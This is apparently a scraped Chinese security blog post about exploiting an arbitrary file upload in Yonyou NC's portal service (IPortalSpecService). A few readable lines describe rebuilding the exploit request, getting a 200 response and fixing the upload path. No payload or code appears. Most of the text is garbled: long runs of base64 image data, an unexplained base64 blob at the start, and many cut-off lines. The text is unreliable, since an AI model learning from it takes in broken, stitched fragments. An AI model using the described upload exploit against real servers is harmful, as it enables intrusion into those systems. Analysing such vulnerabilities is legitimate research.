JEUWBuZopQYA6ArNx8DF3H4fYQmpvF4XIzMzlOLBohO6+AWDSC2+tHFMU03zNpVCCnoAir1UYoOJemQ4vFSlZuPuFQEG9WNuHAHHMz06YCYxjYnC6yc/MxDIPpibH0fvBl5YAgYLXakBWFqfFRYtEINruD7LwCKlevw2Z3MD4yiKHrTI2Pouo6VqudW1fPMzc9BYJAILX3/Nm5gMDM1Hi6fUEUmZ4YQxRFXB4vvqxckskEU+MjqegDMzzT68/C5fESjUSYmhjF0HUkWcbrz8bQdZxuL9FIiKnxUQRBwJeVS+nS5axav4loJITNZicSDhGYncZqs+P2+enraiM4N7vIAypKEl5fFk63h1g0wsSoqcwoigWn24MgijhdHhKJGOPDgw/cXwshCBAKzNLb3owkf6oBKhlkkEEGHwmPxMFKnDoHSuJ4LQZ22UAWdH7U5eDWpEyFR2NPUQKvoiNLZu7KKz0Omqcl1mSrPF0Ww2UxkASDq2MW3uqzsdyrcbg0zgpfEgGDX64ymIiIvNZjZzQi8Ex5jHXZSeKaQEyDt3rttM9JeBSDLyyLstyrEtcEJmMib/TaSWoCL1bGqHBrWESDX66KEFUF3umzcXNCZldhkqfKokRUEQODM8M2Lo+ZQtpLlTE25sSZiknYZYPJ2P0FmXnk5hcz1NtFw41L+LNzKatYjmKxAmbeyer1m1i9fjOyotB48zIN1y9htdl58vO/gKapCILA8EAvfZ2tgGmN3HvkBYrKKjB0g8DsFBeOv83UxCgut5fDz38ZX3YOhm4w2NfJhRNHMXSDI5972RSSXR72P/k5NE3j9e/+DXMzk/fst27ArtVudq12U1loo2csTr5XwSaZIT0FfoXf/2IxhgCXW0NcbAtCHCyyyHPbstiywoUsCThsImcbAvz3N0Zw2iQer/Hy5X256LqBphnp8ESbIhKO6bx7fZbWoShzYY2lBTYQYEmulV85kk9loQ1RgI6RGP/pB4NkuWW+cSiPslwrBhCJaZTlW/mjV4bpHYvztf05VBTYsFslXHaRV85P890zEzhtEi/tyuLgeh+KLBBN6Pxfb49ytT3EtpUuntrkx2YVyXLLDE0n+ONXRugai7FthYuvPZaD1ymjyAIXmoP87bExvA6ZXzqUS5ZTxuNUcNlF3rk+w/88Ps6h9V6e2uzH65J4YYefvWs9tA5G+bO3RpkKJsnNL0JRLNReOm1KDOYq4/H66WproLX+BjaHk3AwQGDWFKqq1m1m467HkCTJ9ELcvELD9YssWbaK1es3Y7Fa0TQdAZibneLSiaPkFZWyced+DMPA7nASCsxx6eRRRgb78Pj8PP7Cy7g8PjRNZai3i2vnTxCcm2HP488jCGB3upFlmZa669RdPU8sGmHr3sOsXLcJQ9eJx6JcPfs+Az0dZOXk89QXf5GZqUncXh+xaIRz773OyEAvj3/uZWRZwePPZseBp1CTSS6dPEprww10QycSCrJ28w7CwQDxaAQhRfOrarayYcc+BFFETSa4euZ9utoaWbd1F8tWrcOblY3b62dZ1Xp62po4886rOL0+9h15gdzCYgRBZHpilPdf/6cHhjbZnU4OPfdFdE3HMMx8DLvTxY++/Wfous76rbtZUV0DgkA8FuX46z8gEg6yefcBKpZX4fL4UuNK0HTzCtcvnCS/qJTtjz2B2+tHkmTGhvs59ur30DQNQRAIBmbp7WhlxdoNGLrxwGxPu2ywtyjJjoI4OTaNr62IoOoCdZMWXu+xohuwJT/Ocp9Ktk2jbUbmux0OoirsKUyw1KuhiOBRdDrmJH7cZSemCRwujbMtLw4IxHR4o8fOQFDicEmCC6MKK30aG3MS/EWTk12FLine truncated
|
||||
<p>查看实例化过程,通过this.getImplementationClass()获取对象</p>
|
||||
<p><a id=img18 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311105622-f1a9638e-df52-1.png title><img src="data:image/png;base64,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 truncated
|
||||
<p>PortalSpecServiceImpl是实现的这个接口nc.uap.portal.service.itf.IPortalSpecService。<br>
|
||||
那类就应该为IPortalSpecService,重新构造发包<br>
|
||||
服务器返回200,exp没问题了,但是发现文件上传到目录不对,应该是filePath拼接的目录有问题。</p>
|
||||
<p><a id=img19 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311110614-51f63b26-df54-1.png title><img src=data:image/png;base64,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 truncated
|
||||
<h2 id=toc-4>0x04</h2>
|
||||
<p>回到上面的在call()中的处理参数字符串那段<br>
|
||||
会用fromJsObject进行处理</p>
|
||||
<p><a id=img20 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311105713-0f7df0be-df53-1.png><img src="data:image/png;base64,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